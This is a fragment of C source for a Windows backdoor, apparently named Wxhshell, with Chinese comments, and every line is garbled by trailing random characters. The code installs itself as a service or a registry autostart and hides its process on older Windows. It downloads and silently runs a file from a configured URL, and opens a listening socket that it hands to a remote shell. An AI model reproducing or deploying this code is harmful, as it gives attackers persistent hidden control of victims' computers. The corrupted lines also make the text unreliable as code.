ULONG UniqueProcessId; ?qdG)jo=
ULONG InheritedFromUniqueProcessId; UO</4WJ
} PROCESS_BASIC_INFORMATION; F3?v&
7Y_S%B:F
PROCNTQSIP NtQueryInformationProcess; xi-^_I
KzhldMJ^zq
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J,k{Bm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Vt YR
QjPcfR\
HANDLE hProcess; e-Eoe_k
PROCESS_BASIC_INFORMATION pbi; KktQA*G
{&3n{XrF(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hD;[}8qN{
if(NULL == hInst ) return 0; 1Azigd0%
Rj-<tR{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =3sBWDB[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }F-W OQ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FFPO?y$
8K{
TRPy
if (!NtQueryInformationProcess) return 0; .'
#_Z.zr
H!,#Z7s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i_V~SC`
if(!hProcess) return 0; N[czraFBD}
U<*ZY` B3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R}BHRmSQ
jg#%h`
CloseHandle(hProcess); (@mvNlc:
{p+7QlgK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 59IxY
?
if(hProcess==NULL) return 0; _a^%V9t
MJb!+E+
HMODULE hMod; }h>QkV,{2
char procName[255]; o`7Bvh2
unsigned long cbNeeded; <T{PuS1<o
h]&8hl_'m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \_qiUvPf\
Y;4nIWe
JL
CloseHandle(hProcess); EJ"[{AV
j!xt&t4D
if(strstr(procName,"services")) return 1; // 以服务启动 S8^W)XgC;
$xJVUV
return 0; // 注册表启动 G ,An8GR%&
} OpA
'/G.^Zl9
// 主模块 ({87311%
int StartWxhshell(LPSTR lpCmdLine) @;!s"!~sv
{ cK"b0K/M?B
SOCKET wsl; +eg$Z]Lht
BOOL val=TRUE; %s6|w=.1
int port=0; 0ZlF#PJA
struct sockaddr_in door; xQT`sK+
Zqc+PO3lw
if(wscfg.ws_autoins) Install(); O|}97a^
"X=l7{c/
port=atoi(lpCmdLine); ;Z\jX[H
18jI6$DY
if(port<=0) port=wscfg.ws_port; wz3BtCx
LxC*{t/>8
WSADATA data; n(\5Z&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #p_3j 0S
<nOK#;O)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ii_X^)IL(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
I4.^I/c(
door.sin_family = AF_INET; n.Iu|,?q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -$yNJ5F`
door.sin_port = htons(port); sN.h>bd
c4E=qgP
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
qc;9{$?xV
closesocket(wsl); R/&Bze
return 1; }@>=,A4Y
} O RAKg.49
L?T%;VdG'>
if(listen(wsl,2) == INVALID_SOCKET) { Rrmk\7/
closesocket(wsl); ZbD_AP
return 1; [xXa3W
} }c?/-ab>
Wxhshell(wsl);
*(5y;1KU
WSACleanup(); %9B r
+dIDFSd
return 0; })f4`$qf
xO"fg9a
} P0WI QG+
\}[{q
// 以NT服务方式启动 *<Yn
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^o^[p %
{ h.+{cOA;n
DWORD status = 0; 0EiURVX
DWORD specificError = 0xfffffff; SUwSZ@l^|
B@XnHh5y
serviceStatus.dwServiceType = SERVICE_WIN32; 0*0]RC5?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j}}:&>;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m!{Xu y
serviceStatus.dwWin32ExitCode = 0; mkH{%7n
serviceStatus.dwServiceSpecificExitCode = 0; )pELCk
serviceStatus.dwCheckPoint = 0; r#ES|
serviceStatus.dwWaitHint = 0; Sz4G,c
aBv3vSq>Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >;a_i>[
if (hServiceStatusHandle==0) return; XwWp4`Fd
J?4aSssE
status = GetLastError(); )9LlM2+y
if (status!=NO_ERROR) =d07c
{ `U:W (\L
serviceStatus.dwCurrentState = SERVICE_STOPPED; }<?1\k
serviceStatus.dwCheckPoint = 0; FCO5SX#-g
serviceStatus.dwWaitHint = 0; a`SQcNBf*
serviceStatus.dwWin32ExitCode = status; o80?B~o
serviceStatus.dwServiceSpecificExitCode = specificError; h4@v.GI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c,WRgXL
return; Be?b|
G!M
} Rx';P/F0C
XL@Y!
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^A9D;e6!-
serviceStatus.dwCheckPoint = 0; ?~G D^F
serviceStatus.dwWaitHint = 0; >:5^4/fo*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \SB~rz"A
} H)XHlO^
$i#
1<Qj
// 处理NT服务事件,比如:启动、停止 OyTE d5\3
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Q=3v
{ rL+K Sb
switch(fdwControl) "S$4pj`<
{ We^!(G
case SERVICE_CONTROL_STOP: M>Yge~3
serviceStatus.dwWin32ExitCode = 0; o_un=ygU
serviceStatus.dwCurrentState = SERVICE_STOPPED; k_A. aYe
serviceStatus.dwCheckPoint = 0; lZpa)1.tiC
serviceStatus.dwWaitHint = 0; OKDBzl
{ ^:JZ.r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >s\j/yM
} Qg
dHIMY
return; OG\TrW-ug
case SERVICE_CONTROL_PAUSE: WM8
Ce0E
serviceStatus.dwCurrentState = SERVICE_PAUSED; l.tNq$3pS
break; JXR_klx
case SERVICE_CONTROL_CONTINUE: -49z.(@ki
serviceStatus.dwCurrentState = SERVICE_RUNNING; U p1&(
break; ~=W|I:@
case SERVICE_CONTROL_INTERROGATE: ?sb
Ob
break; 9Q
4m9}
}; kYxb@Zn=|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }m6zu'CV
} =ytB\e
-Fcg}\9
// 标准应用程序主函数 +8+@Az[e0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'jv[Gcss3L
{ YyR)2j1O
uo`O$k<;
// 获取操作系统版本 zh2gU@"
OsIsNt=GetOsVer(); ;g[C=yhK`C
GetModuleFileName(NULL,ExeFile,MAX_PATH); *&VH!K#@{
]fH U/%
// 从命令行安装 %vPs38Fks
if(strpbrk(lpCmdLine,"iI")) Install(); uus}NZ:*l
k(n{$
// 下载执行文件 Vmj7`w&
if(wscfg.ws_downexe) { (<?6X9F:N
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LQVa,'
WinExec(wscfg.ws_filenam,SW_HIDE); r3a$n$Qw
} p7b`Z>}
<{rRcFR
if(!OsIsNt) { *2O4 *Q1
// 如果时win9x,隐藏进程并且设置为注册表启动 w_30g6tA
HideProc(); J)O1)fR
StartWxhshell(lpCmdLine); iV X 12
} KjR^6v
else 7.4Q
if(StartFromService()) Z5aU7
// 以服务方式启动 T(@y#09
StartServiceCtrlDispatcher(DispatchTable); D[. ; H)V
else k%w5V>]1
// 普通方式启动 ns_5|*'
StartWxhshell(lpCmdLine); C2GF
N1i
H\ A!oB,sw
return 0; p8<Y5:`
}